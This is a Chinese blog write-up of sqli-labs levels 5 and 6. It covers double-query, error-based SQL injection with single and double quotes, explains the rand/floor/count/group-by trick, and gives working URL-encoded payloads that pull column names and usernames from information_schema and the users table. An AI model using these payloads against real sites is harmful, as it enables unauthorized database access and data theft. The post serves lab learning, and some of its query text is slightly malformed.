sqli-5&6

 

第五关 Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

 1.发现前几关的方法都不能用了,要么报错(没有其他有关信息、要么什么也不出现、要么就是显示you are in....)

把后面的注释符去掉以后,判断是字符型的,因为数字型的直接报错了哈哈而不是回显

2.题目备注是 双注入GET单引号 

平时做的那种属于子查询,就是select里面还包含有select

https://www.2cto.com/article/201303/192718.html

双注入查询需要理解四个函数/语句:

Rand() //随机函数

Floor() //取整函数

Count() //汇总函数

Group by clause //分组语句

*rand()

select rand() #出现一个随机数,小于1

 

 

 

 *floor()

select floor(1.33333338)#取整数

 

*concat()

select concat(“123”,“xixi”)#输出结果为123xixi

 

在这里,我们构造一个复杂的查询语句,

select concat((select database()),floor(rand()*2)) from users;#有多少user,显示多少个

 把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。

这里是security表,里面装了用户名,相当于这句话就可以查出一共 有多少个用户。如果我们将表换成information_schema.schemata,就可以得出mysql的数据库名。

我们这里再复杂一下:

select concat((select database()),floor(rand()*2)) as a from information_schema.schemata by group a;

 

这句话的意思就是:我们把concat () 这个语句看成 a 这个group,然后这些列都在information里面,然后把同名字的分成一组。

反正想要啥,就在select database()的database这里换就行了。。。

*group by “clause”

*count(*)

聚合函数,可以将我们想要的信息输出在a中

3.解题

第一步找到数据库名字:security

 

 第二步:通过这个表名查user

但是这里报错:subquery returns more than 1 row #返回超过一行,解决方案:

组长博客里面写的有个limit()函数可以解决,我们来看看这是啥子神仙操作:

https://blog.csdn.net/u011277123/article/details/54844834

union%20select%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%207,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

 

  • 得到闭合字符
  • 猜列数、尝试爆显示位
  • 得到数据库个数和数据库名
  • 得到表个数和表名
  • 得到列数量和列名
  • 得到列值

 ===========================

第六关  双注入GET双引号字符型注入

 1.参数后面为双引号

 

 加入limit函数:

http://192.168.1.115:801/sqli/Less-6/?id=1''
?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1), floor(rand()*2))as a from information_schema.tables group by a#

 后面就一样了。。。

posted @ 2019-07-21 00:03  这醋好甜  阅读(259)  评论(0编辑  收藏  举报